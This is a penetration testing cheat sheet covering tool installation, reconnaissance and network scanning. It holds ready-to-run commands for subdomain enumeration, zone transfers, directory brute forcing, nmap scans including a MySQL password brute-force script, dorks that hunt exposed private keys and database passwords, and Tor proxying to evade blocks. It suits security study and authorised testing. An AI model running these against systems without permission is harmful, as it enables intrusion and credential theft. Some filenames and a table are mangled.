Work in progress...
Penetration Testing Cheat Sheet
This is more of a checklist for myself. May contain useful tips and tricks.
I have automated some of the tasks from this cheat sheet in my project at ivan-sincek/auto-recon.
Everything was tested on Kali Linux v2024.2 (64-bit).
For help with any of the tools write <toolname> [-h | -hh | --help] or man <toolname>.
Sometimes -h can be mistaken for a host or some other option. If that's the case, use -hh or --help instead, or read the manual with man.
Some tools do similar tasks, but get slightly different results. Run everything you can. Many tools complement each other!
Keep in mind when no protocol nor port number in a URL is specified, i.e., if you specify only somesite.com, some tools will default to HTTP protocol and port 80, i.e, to http://somesite.com:80.
If you didn't already, read OWASP Web Security Testing Guide. Checklist can be downloaded here.
Highly recommend reading Common Security Issues in Financially-Orientated Web.
Highly recommend doing PortSwigger Web Security Academy, very underrated and super cheap.
Websites that you should use while writing the report:
- cwe.mitre.org/data
- owasp.org/projects
- owasp.org/www-project-top-ten
- cheatsheetseries.owasp.org
- first.org/cvss/calculator/4.0
- bugcrowd.com/vulnerability-rating-taxonomy
- nvd.nist.gov/ncp/repository
- attack.mitre.org
- Android Testing Cheat Sheet
- iOS Penetration Testing Cheat Sheet
- WiFi Penetration Testing Cheat Sheet
Table of Contents
1. Reconnaissance- Useful Websites
- Dmitry
- theHarvester
- FOCA
- Sublist3r
- assetfinder
- Subfinder
- Amass
- dig
- Fierce
- DNSRecon
- host
- WHOIS
- ASNmap
- httpx
- gau
- urlhunter
- Google Dorks
- Chad
- PhoneInfoga
- git-dumper
- TruffleHog
- File Scraper
- katana
- Scrapy Scraper
- Directory Fuzzing
- DirBuster
- feroxbuster
- snallygaster
- IIS Tilde Short name Scanning
- WhatWeb
- Parsero
- EyeWitness
- Wordlists
- Useful Websites
- Collaborator Servers
- Subdomain Takeover
- Subzy
- subjack
- Bypassing the 401 and 403
- Nikto
- WPScan
- Nuclei
- Arjun
- WFUZZ
- Insecure Direct Object Reference (IDOR)
- HTTP Response Splitting
- Cross-Site Scripting \(XSS\)
- SQL Injection
- sqlmap
- dotdotpwn
- Web Shells
- Send a Payload With Python
0. Install Tools and Setup
Most tools can be installed with the Linux package manager:
apt-get update && apt-get -y install sometool
For more information see kali.org/tools.
Some Python tools need to be downloaded and installed manually:
python3 setup.py install
Or, installed from the PyPi:
pip3 install sometool
python3 -m pip install sometool
Some Golang tools need to be downloaded and built manually:
go build sometool.go
Or, installed directly:
go install -v github.com/user/sometool@latest
For more information see pkg.go.dev.
To set up Golang, run:
apt-get -y install golang
cat >> ~/.zshrc << 'EOF' export GOROOT=/usr/lib/go export GOPATH=$HOME/go export PATH=$GOPATH/bin:$GOROOT/bin:$PATH EOF
source ~/.zshrc
If you use other console, you might need to write to ~/.bashrc, etc.
Some tools, that are in the form of binaries or shell scripts, can be moved to /usr/bin/ directory for the ease of use:
mv sometool.sh /usr/bin/sometool && chmod +x /usr/bin/sometool
Some Java tools need to be downloaded and ran manually with Java (JRE):
java -jar sometool.jar
API Keys
List of useful APIs to integrate in your tools:
- scrapeops.io - bot-safe User-Agents
- shodan.io - IoT search engine and more
- censys.io - domain lookup and more
- github.com - public source code repository lookup
- virustotal.com - malware database lookup
- cloud.projectdiscovery.io - ProjectDiscovery tools
User-Agents
Download a list of bot-safe User-Agents, requires scrapeops.io API key:
python3 -c 'import json, requests; open("./useragents.txt", "w").write(("\n").join(requests.get("http://headers.scrapeops.io/v1/user-agents?apikey=SCRAPEOPSAPIKEY&num_results=100", verify = False).json()["result"]))'
DNS Resolvers
Download a list of trusted DNS resolvers, or manually from trickest/resolvers:
python3 -c 'import json, requests; open("./resolvers.txt", "w").write(requests.get("https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt", verify = False).text)'
ProxyChains-NG
If Google or any other search engine or service blocks your tool, use ProxyChains-NG and Tor to bypass the restriction.
Installation:
apt-get update && apt-get -y install proxychains4 tor torbrowser-launcher
Do the following changes in /etc/proxychains4.conf:
round_robin
chain_len = 1
proxy_dns
remotednssubnet 224
tcpreadtime_out 15000
tcpconnecttime_out 8000
[ProxyList]
socks5 127.0.0.1 9050
Make sure to comment any chain type other than roundrobin - e.g., comment strictchain into # strict_chain.
Start Tor:
service tor start
Then, run any tool you want:
proxychains4 sometool
Using only Tor most likely won't be enough, you will need to add more proxies \(1\)\(2\) to /etc/proxychains4.conf; however, it is hard to find free and stable proxies that are not already blacklisted.
Download a list of free proxies:
curl -s 'https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sortby=lastChecked&sorttype=desc' -H 'Referer: https://proxylist.geonode.com/' | jq -r '.data[] | "\(.protocols[]) \(.ip) \(.port)"' > proxychains.txt
curl -s 'https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sortby=lastChecked&sorttype=desc' -H 'Referer: https://proxylist.geonode.com/' | jq -r '.data[] | "\(.protocols[])://\(.ip):\(.port)"' > proxies.txt
1. Reconnaissance
Keep in mind that some \[legacy\] websites might only be accessible through specific web browsers such as MS Internet Explorer or MS Edge.
Keep in mind that some websites may be missing the index page and may not redirect you to the real home page. If that's the case, try to manually guess a full path to the home page, use wayback machine or gau to find old URLs, or try directory fuzzing with feroxbuster or DirBuster.
Search the Internet for default / pre-defined paths and files for a specific web application. Use the gathered information in combination with Google Dorks, Chad, and httpx to find the same paths and files on different \[sub\]domains. For not so common web applications, try to find and browse the source code for default / pre-defined paths and files.
You can find the application's source code on GitHub, GitLab, Bitbucket, searchcode, etc.
Search the application's source code for hardcoded sensitive information with TruffleHog and File Scraper. Don't forget to check old GitHub commits for old but still active API keys or credentials.
Inspect the web console for possible errors. Inspect the application's source code for possible comments.
Don't forget to access the web server over an IP address because you might find server's default welcome page or some other content.
Read what is ASN and CIDR before starting your OSINT.
1.1 Useful Websites
- whois.domaintools.com
- otx.alienvault.com - domain lookup
- reverseip.domaintools.com - web-based reverse IP lookup
- lookup.icann.org
- sitereport.netcraft.com
- searchdns.netcraft.com - web-based DNS lookup
- search.censys.io - domain lookup and more
- crt.sh - certificate fingerprinting
- commoncrawl.org - web crawl dumps
- opendata.rapid7.com - scan dumps
- searchcode.com
- virustotal.com - malware database lookup
- haveibeenpwned.com
- intelx.io - database breaches
- search.wikileaks.org
- archive.org - wayback machine
- pgp.circl.lu - OpenPGP key server
- shodan.io - IoT search engine
- sherlockeye.io - account lookup
- whoisds.com - newly registered domains
- radar.cloudflare.com - website lookup and more
Dmitry
Gather information:
dmitry -wines -o dmitry_results.txt somedomain.com
Deprecated. Netcraft search does not work.
theHarvester
Gather information:
theHarvester -f theharvester_results.json -b baidu,certspotter,chaos,commoncrawl,crtsh,duckduckgo,gitlab,hackertarget,otx,rapiddns,robtex,subdomaincenter,subdomainfinderc99,thc,threatcrowd,urlscan,waybackarchive,yahoo -l 500 -d somedomain.com
This tool is changing the search engines quite often, as such, some of them might not work as of this reading.
Sometimes the output file might default to /usr/lib/python3/dist-packages/theHarvester/ directory.
Extract subdomains from the results:
jq '.hosts[]' theharvester_results.json | sort -uf | tee -a subdomains.txt
Extract IPs from the results:
jq '.ips // empty | .[]' theharvester_results.json | sort -uf | tee -a ips.txt
jq '.hosts // empty | .[] | select(contains(":")) | split(":")[1]' theharvester_results.json | sort -uf | tee -a ips.txt
Extract subdomains from the results:
jq '.hosts // empty | .[] | select(contains(":") | not)' theharvester_results.json | sort -uf | tee -a subdomains.txt
jq '.hosts // empty | .[] | select(contains(":")) | split(":")[0]' theharvester_results.json | sort -uf | tee -a subdomains.txt
Extract emails from the results:
jq '.emails // empty | .[]' theharvester_results.json | sort -uf | tee -a emails.txt
Extract ASNs from the results:
jq '.asns // empty | .[]' theharvester_results.json | sort -uf | tee -a asns.txt
FOCA (Fingerprinting Organizations with Collected Archives)
Find metadata and hidden information in files.
Tested on Windows 10 Enterprise OS (64-bit).
Minimum requirements:
- download and install MS SQL Server 2014 Express or greater,
- download and install MS .NET Framework 4.7.1 Runtime or greater,
- download and install MS Visual C++ 2010 (64-bit) or greater,
- download and install FOCA.
Sublist3r
Gather subdomains using OSINT:
sublist3r -o sublister_results.txt -d somedomain.com
assetfinder
Gather subdomains using OSINT:
assetfinder --subs-only somedomain.com | grep -v '*' | tee assetfinder_results.txt
Subfinder
Installation:
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
Gather subdomains using OSINT:
subfinder -t 10 -timeout 3 -nW -o subfinder_results.txt -rL resolvers.txt -d somedomain.com
Subfinder has built-in DNS resolvers.
Set your API keys in /root/.config/subfinder/provider-config.yaml file as following:
shodan:
- SHODANAPIKEY
censys:
- CENSYSAPIID:CENSYSAPISECRET
github:
- GITHUBAPIKEY
virustotal:
- VIRUSTOTALAPIKEY
Amass
Gather subdomains using OSINT:
amass enum -o amass_results.txt -trf resolvers.txt -d somedomain.com
Amass has built-in DNS resolvers.
Extract IPs from the results:
grep '(?<=(?:arecord|contains)\ \-\-\>\ )[^\s]+' amassresults.txt | sort -uf | tee -a ips.txt
Extract subdomains from the results:
grep '^[^\s]+(?=\ \(FQDN\))|(?<=ptrrecord\ \-\-\>\ )[^\s]+' amassresults.txt | sort -uf | tee -a subdomains.txt
Extract canonical names (CNAMEs) from the results:
grep '(?<=(?:arecord|contains)\ \-\-\>\ )[^\s]+' amassresults.txt | sort -uf | tee -a cnames.txt
The below ASN and CIDR scans will take a long time to finish.
If ASN belongs to a cloud provider, you will get a lot of CIDRs / IPs, which might not be all within your scope!
Gather subdomains from ASN:
amass intel -o amassasnresults.txt -trf resolvers.txt -asn 13337
Gather subdomains from CIDR:
amass intel -o amasscidrresults.txt -trf resolvers.txt -cidr 192.168.8.0/24
dig
Fetch name servers:
dig +noall +answer -t NS somedomain.com
Fetch mail exchange servers:
dig +noall +answer -t MX somedomain.com
Interrogate a name server:
dig +noall +answer -t ANY somedomain.com @ns.somedomain.com
Fetch the zone file from a name server:
dig +noall +answer -t AXFR somedomain.com @ns.somedomain.com
Reverse IP lookup:
dig +noall +answer -x 192.168.8.5
\[Subdomain Takeover\] Check if subdomains are dead, look for NXDOMAIN, SERVFAIL, or REFUSED status codes:
for subdomain in $(cat subdomains.txt); do res=$(dig "${subdomain}" -t A +noall +comments +timeout=3 | grep -Po '(?<=status\:\ )[^\s]+(?<!\,)'); echo "${subdomain} | ${res}"; done | sort -uf | tee -a subdomainstostatus.txt
grep -v 'NOERROR' subdomainstostatus.txt | grep -Po '[^\s]+(?=\ \|)' | sort -uf | tee -a subdomains_errors.txt
grep 'NOERROR' subdomainstostatus.txt | grep -Po '[^\s]+(?=\ \|)' | sort -uf | tee subdomains.txt # overwrite
See how to gather canonical names (CNAMEs) for the dead subdomains with host.
Fierce
Interrogate name servers:
fierce -file fiercestdresults.txt --domain somedomain.com
fierce -file fiercebrtresults.txt --subdomain-file subdomains-top1mil.txt --domain somedomain.com
By default, Fierce will perform dictionary attack with its built-in wordlist.
DNSRecon
Interrogate name servers:
dnsrecon -t std --json /root/Desktop/dnsreconstdresults.json -d somedomain.com
dnsrecon -t axfr --json /root/Desktop/dnsreconaxfrresults.json -d somedomain.com
dnsrecon --iw -f --threads 50 --lifetime 3 -t brt --json /root/Desktop/dnsreconbrtresults.json -D subdomains-top1mil.txt -d somedomain.com
DNSRecon can perform a dictionary attack with a user-defined wordlist, but make sure to specify a full path to the wordlist; otherwise, DNSRecon might not recognize it.
Make sure to specify a full path to the output file; otherwise, it will default to /usr/share/dnsrecon/ directory, i.e., to the root directory.
Extract subdomains from the results:
jq -r '.[] | select(.type | test("^A$|^CNAME$|^SRV$")) | .name // empty, .target // empty' dnsreconstdresults.json | sort -uf | tee -a subdomains.txt
Extract IPs from the results:
jq -r '.[] | select(.type | test("^A$|^CNAME$|^PTR$")) | .address // empty' dnsreconstdresults.json | sort -uf | tee -a ips.txt
Extract canonical names (CNAMEs) from the results:
jq -r '.[] | select(.type | test("^CNAME$")) | .target // empty' dnsreconstdresults.json | sort -uf | tee -a cnames.txt
Reverse IP lookup:
dnsrecon --json /root/Desktop/dnsreconptrresults.json -s -r 192.168.8.0/24
Extract subdomains from the reverse IP lookup results:
jq -r '.[] | if type == "array" then .[].name else empty end' dnsreconptrresults.json | sort -uf | tee -a subdomains.txt
host
Some DNS servers will not respond to DNS quieries of type 'ANY', use type 'A' instead.
Gather IPs for the given subdomains (ask for A records):
for subdomain in $(cat subdomains.txt); do res=$(host -t A "${subdomain}" | grep -Po '(?<=has\ address\ )[^\s]+(?<!\.)'); if [[ ! -z $res ]]; then echo "${subdomain} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a subdomainstoips.txt
grep -Po '(?<=\|\ )[^\s]+' subdomainstoips.txt | sort -uf | tee -a ips.txt
Check if subdomains are alive with httpx.
Check if IPs are alive with Nmap, performing a ping sweep.
Gather subdomains for the given IPs (ask for PTR records):
for ip in $(cat ips.txt); do res=$(host -t PTR "${ip}" | grep -Po '(?<=domain\ name\ pointer\ )[^\s]+(?<!\.)'); if [[ ! -z $res ]]; then echo "${ip} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a ipstosubdomains.txt
grep -Po '(?<=\|\ )[^\s]+' ipstosubdomains.txt | sort -uf | tee -a subdomains.txt
Gather canonical names (CNAMEs) for the given \[dead\] subdomains (ask for CNAME records):
for subdomain in $(cat subdomainserrors.txt); do res=$(host -t CNAMES "${subdomain}" | grep -Po '(?<=is\ an\ alias\ for\ )[^\s]+(?<!\.)'); if [[ ! -z $res ]]; then echo "${subdomain} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a subdomainserrorstocnames.txt
grep -Po '(?<=\|\ )[^\s]+' subdomainserrorstocnames.txt | sort -uf | tee -a subdomainstakeovers.txt
WHOIS
Gather ASNs from IPs:
for ip in $(cat ips.txt); do res=$(whois -h whois.cymru.com "${ip}" | grep -Poi '^\d+'); if [[ ! -z $res ]]; then echo "${ip} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a ipstoasns.txt
grep -Po '(?<=\|\ )(?(?!\ \|).)+' ipstoasns.txt | sort -uf | tee -a asns.txt
If ASN belongs to a cloud provider, you will get a lot of CIDRs / IPs, which might not be all within your scope!
Gather organization names from IPs:
for ip in $(cat ips.txt); do res=$(whois -h whois.arin.net "${ip}" | grep -Po '(?<=OrgName\:)[\s]+\K.+'); if [[ ! -z $res ]]; then echo "${ip} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a ipstoorganization_names.txt
grep -Po '(?<=\|\ )(?(?!\ \|).)+' ipstoorganizationnames.txt | sort -uf | tee -a organizationnames.txt
Check if any of the IPs belong to GitHub organization, read more about GitHub takeover in this H1 article.
ASNmap
Installation:
go install -v github.com/projectdiscovery/asnmap/cmd/asnmap@latest
Get the ProjectDiscovery API key from cloud.projectdiscovery.io and run:
asnmap -auth
Fetch ASN for IP:
asnmap --silent -r resolvers.txt -i ip | tee -a asnmapasnresults.txt
Fetch CIDRs for ASN:
asnmap --silent -r resolvers.txt -a asn | tee -a asnmapcidrresults.txt
If ASN belongs to a cloud provider, you will get a lot of CIDRs / IPs, which might not be all within your scope!
Fetch CIDRs for organization ID:
asnmap --silent -r resolvers.txt -org id | tee -a asnmapcidrresults.txt
httpx
Check if subdomains are alive, map live hosts:
httpx-toolkit -o httpx_results.txt -l subdomains.txt
httpx-toolkit -random-agent -json -o httpx_results.json -threads 100 -timeout 3 -l subdomains.txt -ports 80,81,443,4443,8000,8008,8080,8081,8403,8443,8888,9000,9008,9080,9081,9403,9443
Filter out subdomains from the JSON results:
jq -r 'select(."statuscode" | tostring | test("^2|^3|^4")).url' httpxresults.json | sort -uf | tee -a subdomainslivelong.txt
jq -r 'select(."statuscode" | tostring | test("^2")).url' httpxresults.json | sort -uf | tee -a subdomainslivelong_2xx.txt
jq -r 'select(."statuscode" | tostring | test("^2|^4")).url' httpxresults.json | sort -uf | tee -a subdomainslivelong2xx4xx.txt
jq -r 'select(."statuscode" | tostring | test("^3")).url' httpxresults.json | sort -uf | tee -a subdomainslivelong_3xx.txt
jq -r 'select(."statuscode" | tostring | test("^401$")).url' httpxresults.json | sort -uf | tee -a subdomainslivelong_401.txt
jq -r 'select(."statuscode" | tostring | test("^403$")).url' httpxresults.json | sort -uf | tee -a subdomainslivelong_403.txt
jq -r 'select(."statuscode" | tostring | test("^4")).url' httpxresults.json | sort -uf | tee -a subdomainslivelong_4xx.txt
jq -r 'select(."statuscode" | tostring | test("^5")).url' httpxresults.json | sort -uf | tee -a subdomainslivelong_5xx.txt
grep -Po 'http\:\/\/[^\s]+' subdomainslivelong.txt | sort -uf | tee -a subdomainslivelong_http.txt
grep -Po 'https\:\/\/[^\s]+' subdomainslivelong.txt | sort -uf | tee -a subdomainslivelong_https.txt
grep -Po '(?<=\:\/\/)[^\s]+' subdomainslivelong.txt | sort -uf | tee -a subdomainsliveshort.txt
grep -Po '(?<=http\:\/\/)[^\s]+' subdomainslivelong.txt | sort -uf | tee -a subdomainsliveshort_http.txt
grep -Po '(?<=https\:\/\/)[^\s]+' subdomainslivelong.txt | sort -uf | tee -a subdomainsliveshort_https.txt
grep -Po '(?<=\:\/\/)[^\s\:]+' subdomainslivelong.txt | sort -uf | tee -a subdomains_live.txt
Check if a path exists on a web server:
httpx-toolkit -status-code -content-length -o httpxresults.txt -l subdomainslive_long.txt -path /.git
gau
Gather URLs from the wayback machine:
getallurls somedomain.com | tee gau_results.txt
for subdomain in $(cat subdomainslive.txt); do getallurls "${subdomain}"; done | sort -uf | tee gauresults.txt
Filter out URLs from the results:
httpx-toolkit -random-agent -json -o httpxgauresults.json -threads 100 -timeout 3 -r resolvers.txt -l gau_results.txt
jq -r 'select(."statuscode" | tostring | test("^2")).url' httpxgauresults.json | sort -uf | tee -a gau2xx_results.txt
jq -r 'select(."statuscode" | tostring | test("^2|^4")).url' httpxgauresults.json | sort -uf | tee -a gau2xx4xxresults.txt
jq -r 'select(."statuscode" | tostring | test("^3")).url' httpxgauresults.json | sort -uf | tee -a gau3xx_results.txt
jq -r 'select(."statuscode" | tostring | test("^401$")).url' httpxgauresults.json | sort -uf | tee -a gau401_results.txt
jq -r 'select(."statuscode" | tostring | test("^403$")).url' httpxgauresults.json | sort -uf | tee -a gau403_results.txt
urlhunter
Installation:
go install -v github.com/utkusen/urlhunter@latest
Gather URLs from URL shortening services:
urlhunter -o urlhunterresults.txt -date latest -keywords subdomainslive.txt
Google Dorks
Google Dork databases:
- exploit-db.com/google-hacking-database
- cxsecurity.com/dorks
- pentest-tools.com/information-gathering/google-hacking
- opsdisk/pagodo/blob/master/dorks/allgoogle_dorks.txt
/.well-known/ files here.
Google Dorking will not show directories nor files that are disallowed in robots.txt, to check for such directories and files use httpx.
Append site:www.somedomain.com to limit your scope to a specified subdomain.
Append site:*.somedomain.com to limit your scope to all subdomains.
Append site:*.somedomain.com -www to exclude www subdomain from the results.
Simple Google Dorks:
inurl:/robots.txt intext:disallow ext:txt
inurl:/.well-known/security.txt ext:txt
inurl:/info.php intext:"php version" ext:php
intitle:"index of /" intext:"parent directory"
intitle:"index of /.git" intext:"parent directory"
inurl:/gitweb.cgi
intitle:"Dashboard [Jenkins]"
(intext:"mysql database" AND intext:db_password) ext:txt
intext:-----BEGIN PGP PRIVATE KEY BLOCK----- (ext:pem OR ext:key OR ext:txt)
Chad
Find and download files using a Google Dork:
mkdir chad_downloads
chad -nsos -o chaddownloadsresults.json -dir chad_downloads -tr 200 -q "ext:txt OR ext:json OR ext:yml OR ext:pdf OR ext:doc OR ext:docx OR ext:xls OR ext:xlsx OR ext:zip OR ext:tar OR ext:rar OR ext:gzip OR ext:7z" -s *.somedomain.com
Extract authors (and more) from the files:
apt-get -y install libimage-exiftool-perl
exiftool -S chad_downloads | grep -Po '(?<=Author\:\ ).+' | sort -uf | tee -a people.txt
Find directory listings using a Google Dork:
chad -nsos -p chaddirectorylistings_results.json -tr 200 -q 'intitle:"index of /" intext:"parent directory"' -s *.somedomain.com
More about my project at ivan-sincek/chad.
PhoneInfoga
Download the latest version from GitHub and check how to install the tool.
Get a phone number information:
phoneinfoga scan -n +1111111111
Get a phone number information using the web UI:
phoneinfoga serve
Navigate to http://localhost:5000 with your preferred web browser.
git-dumper
Try to reconstruct a GitHub repository, i.e., get the source code, based on the commit history from a public /.git directory:
git-dumper https://somesite.com/.git gitdumperresults
This tool might not be able to reconstruct the whole repository every time, but it could still reveal some sensitive information.
Some additional git commands to try on the cloned /.git directory:
git status
git log
git checkout -- .
git restore .
Use Google Dorking and Chad to find more targets.
TruffleHog
Installation:
git clone https://github.com/trufflesecurity/trufflehog && cd trufflehog
go install
Search for sensitive information inside a single repository or the whole organization on GitHub:
trufflehog git https://github.com/trufflesecurity/test_keys --only-verified --json
trufflehog github --org=trufflesecurity --only-verified --json
Search for sensitive information inside files and directories:
trufflehog filesystem somefile1.txt somefile2.txt somedir1 somedir2
File Scraper
More about my project at ivan-sincek/file-scraper.
katana
Installation:
go install -v github.com/projectdiscovery/katana/cmd/katana@latest
Crawl a website:
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u https://somesite.com/home
katana -timeout 3 -retry 1 -c 30 -o katanaresults.txt -ps -jc -iqp -d 1 -u subdomainslivelong2xx.txt
Scrapy Scraper
Crawl a website, download and beautify JavaScript files, and extract links:
scrapy-scraper -cr 30 -a random -o scrapyscraperresults.txt -p -r 1 -d downloads -u https://somesite.com/home
Crawl websites, download and beautify JavaScript files, take a screenshot of only the start URLs, and extract links:
scrapy-scraper -cr 30 -a random -o scrapyscraperresults.txt -p -r 1 -d downloads -ss screenshots -u subdomainslivelong_2xx.txt
In case you get an error using the Playwright's headless browser, try updating it:
pip3 install --upgrade playwright
playwright install chromium
More about my project at ivan-sincek/scrapy-scraper.
Scrape the JavaScript files for sensitive information using TruffleHog and File Scraper.
Directory Fuzzing
Don't forget that GNU/Linux OS has a case sensitive file system, so make sure to use the right wordlists.
If you don't get any hits while brute forcing directories, try to brute force files by specifying file extensions.
The below tools support recursive directory and file search. Also, they might take a long time to finish depending on the used settings and wordlist.
DirBuster

Figure 1 - DirBuster
All DirBuster's wordlists are located at /usr/share/dirbuster/wordlists/ directory.
feroxbuster
Brute force directories on a web server:
cat subdomainslivelong.txt | feroxbuster --stdin -k -n --auto-bail --random-agent -t 50 -T 3 --json -o feroxbuster_results.txt -s 200,301,302,401,403 -w raft-small-directories-lowercase.txt
This tool is way faster than DirBuster.
Filter out directories from the results:
jq -r 'select(.status | tostring | test("^2")).url' feroxbusterresults.json | sort -uf | tee -a directories2xx.txt
jq -r 'select(.status | tostring | test("^2|^4")).url' feroxbusterresults.json | sort -uf | tee -a directories2xx_4xx.txt
jq -r 'select(.status | tostring | test("^3")).url' feroxbusterresults.json | sort -uf | tee -a directories3xx.txt
jq -r 'select(.status | tostring | test("^401$")).url' feroxbusterresults.json | sort -uf | tee -a directories401.txt
jq -r 'select(.status | tostring | test("^403$")).url' feroxbusterresults.json | sort -uf | tee -a directories403.txt
| Option | Description | | --- | --- | | -u | The target URL (required, unless \[--stdin \| --resume-from\] is used) | | --stdin | Read URL(s) from STDIN | | -a/-A | Sets the User-Agent (default: feroxbuster\/x.x.x) \/ Use a random User-Agent | | -x | File extension(s) to search for (ex: -x php -x pdf,js) | | -m | Which HTTP request method(s) should be sent (default: GET) | | --data | Request's body; can read data from a file if input starts with an \@(ex: \@post.bin) | | -H | Specify HTTP headers to be used in each request (ex: -H header:val -H 'stuff:things') | | -b | Specify HTTP cookies to be used in each request (ex: -b stuff=things) | | -Q | Request's URL query parameters (ex: -Q token=stuff -Q secret=key) | | -f | Append \/ to each request's URL | | -s | Status Codes to include (allow list) (default: 200,204,301,302,307,308,401,403,405) | | -T | Number of seconds before a client's request times out (default: 7) | | -k | Disables TLS certificate validation for the client | | -t | Number of concurrent threads (default: 50) | | -n | Do not scan recursively | | -w | Path to the wordlist | | --auto-bail | Automatically stop scanning when an excessive amount of errors are encountered | | -B | Automatically request likely backup extensions for "found" URLs (default: ~, .bak, .bak2, .old, .1) | | -q | Hide progress bars and banner (good for tmux windows w/ notifications) | | -o | Output file to write results to (use w/ --json for JSON entries) |
snallygaster
Download the latest version from GitHub. See how to install the tool.
Search a web server for sensitive files:
snallygaster --nowww somesite.com | tee snallygaster_results.txt
for subdomain in $(cat subdomainsliveshorthttp.txt); do snallygaster --nohttps --nowww "${subdomain}"; done | tee snallygasterhttp_results.txt
for subdomain in $(cat subdomainsliveshorthttps.txt); do snallygaster --nohttp --nowww "${subdomain}"; done | tee snallygasterhttps_results.txt
IIS Tilde Short name Scanning
Download:
git clone https://github.com/irsdl/IIS-ShortName-Scanner && cd IIS-ShortName-Scanner/release
Search an IIS server for files and directories:
java -jar iisshortnamescanner.jar 2 30 https://somesite.com
WhatWeb
Identify a website:
whatweb -v somesite.com
Parsero
Test all robots.txt entries:
parsero -sb -u somesite.com
EyeWitness
Grab screenshots from websites:
eyewitness --no-prompt --no-dns --threads 5 --timeout 3 -d eyewitnessresults -f subdomainslive_long.txt
To check the screenshots, navigate to eyewitness_results/screens directory.
Wordlists
You can find rockyou.txt inside /usr/share/wordlists/ directory or inside SecLists - a useful collection of multiple types of wordlists for security assessments.
Install SecLists (the collection will be stored at /usr/share/seclists/ directory):
apt-get update && apt-get install seclists
My contribution to the SecLists: danielmiessler/SecLists/tree/master/Fuzzing/Amounts
Another popular wordlist collections:
- ayoubfathi/leaky-paths
- xmendez/wfuzz
- assetnote/commonspeak2-wordlists
- weakpass.com/wordlist
- packetstormsecurity.com/Crackers/wordlists
2. Scanning/Enumeration
Keep in mind that web applications or services can be hosted on other ports besides 80 (HTTP) and 443 (HTTPS), e.g., they can be hosted on port 8443 (HTTPS).
Keep in mind that on ports 80 (HTTP) and 443 (HTTPS) a web server can host different web applications or services. Use Ncat or Telnet for banner grabbing.
Keep in mind that on different URL paths a web server can host different web applications or services, e.g., somesite.com/appone/ and somesite.com/apptwo/.
While scanning for vulnerabilities or running other intensive scans, periodically check the web application or service if it crashed, so that you can alert your client as soon as possible; or in case you got rate limited by the web application firewall (WAF) or some other security product, so that you can pause your scans because all your subsequent requests will be blocked and your results will be incomplete.
If a web application or service all of sudden stops responding, try to access the web application or service using your mobile data (4G/5G), i.e., using a different IP. It is possible that your current IP was temporarily blocked.
Send an email message to a non-existent address at target's domain, it will often reveal useful internal network information through a nondelivery notification (NDN).
Get a free Nessus Community, and if you can afford it, get Burp Suite Professional or Caido.
2.1 Useful Websites
- ipaddressguide.com/cidr
- account.arin.net/public/cidrCalculator
- calculator.net/ip-subnet-calculator.html
- speedguide.net/ports.php
- securityheaders.com
- csp-evaluator.withgoogle.com - Content Security Policy evaluator
Nmap
For better results, use IPs instead of domain names.
Ping sweep, map live hosts:
nmap -sn -oG nmappingsweep_results.txt 192.168.8.0/24
nmap -sn -oG nmappingsweep_results.txt -iL cidrs.txt
Some web servers will not respond to ping (ICMP) requests, so the mapping of the live hosts will not be accurate.
Extract live hosts from the results:
grep -Po '(?<=Host\:\ )[^\s]+' nmappingsweepresults.txt | sort -uf | tee -a ipslive.txt
TCP scan, all ports:
nmap -nv -sS -sV -sC -Pn -oN nmaptcpresults.txt -p- 192.168.8.0/24
nmap -nv -sS -sV -sC -Pn -oN nmaptcpresults.txt -p- -iL cidrs.txt
Automate TCP scan:
mkdir nmaptcpresults
for ip in $(cat ipslive.txt); do nmap -nv -sS -sV -sC -Pn -oN "nmaptcpresults/nmaptcpresults${ip//./_}.txt" -p- "${ip}"; done
UDP scan, only important ports:
nmap -nv -sU -sV -sC -Pn -oN nmapudpresults.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 192.168.8.0/24
nmap -nv -sU -sV -sC -Pn -oN nmapudpresults.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -iL cidrs.txt
Automate UDP scan:
mkdir nmapudpresults
for ip in $(cat ipslive.txt); do nmap -nv -sU -sV -sC -Pn -oN "nmapudpresults/nmapudpresults${ip//./_}.txt" -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 "${subdomain}"; done
| Option | Description | | --- | --- | | -sn | Ping scan - disable port scan | | -Pn | Treat all hosts as online -- skip host discovery | | -n/-R | Never do DNS resolution/Always resolve (default: sometimes) | | -sS/sT/sA | TCP SYN/Connect()/ACK | | -sU | UDP scan | | -p/-p- | Only scan specified ports/Scan all ports | | --top-ports | Scan
All Nmap's scripts are located at /usr/share/nmap/scripts/ directory. Read more about the scripts here.
NSE examples:
nmap -nv --script='mysql-brute' --script-args='userdb="users.txt", passdb="rockyou.txt"' 192.168.8.5 -p 3306
nmap -nv --script='dns-brute' --script-args='dns-brute.domain="somedomain.com", dns-brute.hostlist="subdomains-top1mil.txt"'
nmap -nv --script='ssl-heartbleed' -iL cidrs.txt
You can find rockyou.txt and subdomains-top1mil.txt wordlists in SecLists.
I prefer to use Nuclei for vulnerability scanning.
testssl.sh
Installation:
apt-get update && apt-get -y install testssl.sh
Test an SSL/TLS certificate (e.g., SSL/TLS ciphers, protocols, etc.):
testssl --openssl /usr/bin/openssl -oH testssl_results.html somesite.com
You can also use testssl.sh to exploit SSL/TLS vulnerabilities.
OpenSSL
Test a web server for Heartbleed vulnerability:
for subdomain in $(cat subdomainslive.txt); do res=$(echo "Q" | openssl sclient -connect "${subdomain}:443" 2>&1 | grep 'server extension "heartbeat" (id=15)'); if [[ ! -z $res ]]; then echo "${subdomain}"; fi; done | tee opensslheartbleedresults.txt
for subdomain in $(cat subdomainsliveshorthttps.txt); do res=$(echo "Q" | openssl sclient -connect "${subdomain}" 2>&1 | grep 'server extension "heartbeat" (id=15)'); if [[ ! -z $res ]]; then echo "${subdomain}"; fi; done | tee opensslheartbleedresults.txt
keytool
Grab SSL/TLS certificate:
